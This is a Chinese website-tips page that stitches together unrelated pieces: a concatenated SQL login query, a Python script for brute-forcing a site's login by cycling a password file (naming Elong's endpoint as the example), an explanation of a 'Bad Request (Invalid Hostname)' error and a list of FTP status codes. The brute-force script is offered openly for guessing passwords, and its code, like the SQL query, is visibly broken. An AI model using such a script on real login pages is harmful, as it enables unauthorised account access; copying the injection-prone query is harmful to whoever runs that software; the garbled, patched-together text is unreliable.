半点优化网 http://www.bdxc.net/
当前位置首页 > 网站技术问题> 正文

用户登陆代码

2022-08-05 09:55:32 暂无评论 212 网站技术问题 Hostname   意思   Request

执行SQL查询语句select * from users where username'='username' and pwd='pwd',如果得到的Recordset不为空则登陆成功

如何用python写一个不断尝试密码达到网址登陆成功的源码!

'''
# 提取登录接口,观察登录失败特征,根据密码txt不停尝试,若返回结果没有失败特征就表示成功
#(不保险的话,可以将所有尝试结果记录下来,人为判断)
# 以艺龙登录接口为例:
# 失败特征:接口返回内容包含success:false
'''
import requests

# 把登录接口、头部、请求参数、密码按列读取为列表,都定义好
loginUrl = ''
header = {Content-Type: application/x-www-form-urlencoded}
postData = {userName:name,passwd:}
with open('密码.txt','r') as file:
pwdList = file.readlines()

# 循环更新密码并发送请求,判断返回内容是否包含失败特征
for pwd in pwdList:
postData[passwd]=pwd
response=requests.request(method='POST',url=loginUrl,data=postData,headers=header)
resData = response.text
print resData
# find()返回-1时表示没找到失败特征
if resData.find('success:false') == -1:
print '正确密码是:{}'.format(pwd)
break

Bad Request (Invalid Hostname)什么意思?

意思是:
错误请求(无效主机名) 
出现该错误码的原因:
域名已绑定主机,但主机未绑定域名。
具体解决方法:

在设置网站标识时,通常将服务器IP设置为“全部未分配”(如下图所示),这时即可保证解析到服务器绑定的任何IP都可以访问到WEB服务。主机名推荐设置为空,如果主机名设置格式错误同意易导致访问不到想要的网站。



扩展资料:
其他常见的错误代码及原因:
150 - FTP 使用两个端口:21 用于发送命令,20 用于发送数据。状态代码 150 表示服务器准备在端口 20 上打开新连接,发送一些数据。
226 - 命令在端口 20 上打开数据连接以执行操作,如传输文件。该操作成功完成,数据连接已关闭。
230 - 客户端发送正确的密码后,显示该状态代码。它表示用户已成功登录。
331 - 客户端发送用户名后,显示该状态代码。无论所提供的用户名是否为系统中的有效帐户,都将显示该状态代码。
426 - 命令打开数据连接以执行操作,但该操作已被取消,数据连接已关闭。
530 - 该状态代码表示用户无法登录,因为用户名和密码组合无效。如果使用某个用户帐户登录,可能键入错误的用户名或密码,也可能选择只允许匿名访问。如果使用匿名帐户登录,IIS 的配置可能拒绝匿名访问。
550 - 命令未被执行,因为指定的文件不可用。例如,要 GET 的文件并不存在,或试图将文件 PUT 到您没有写入权限的目录。

猜你喜欢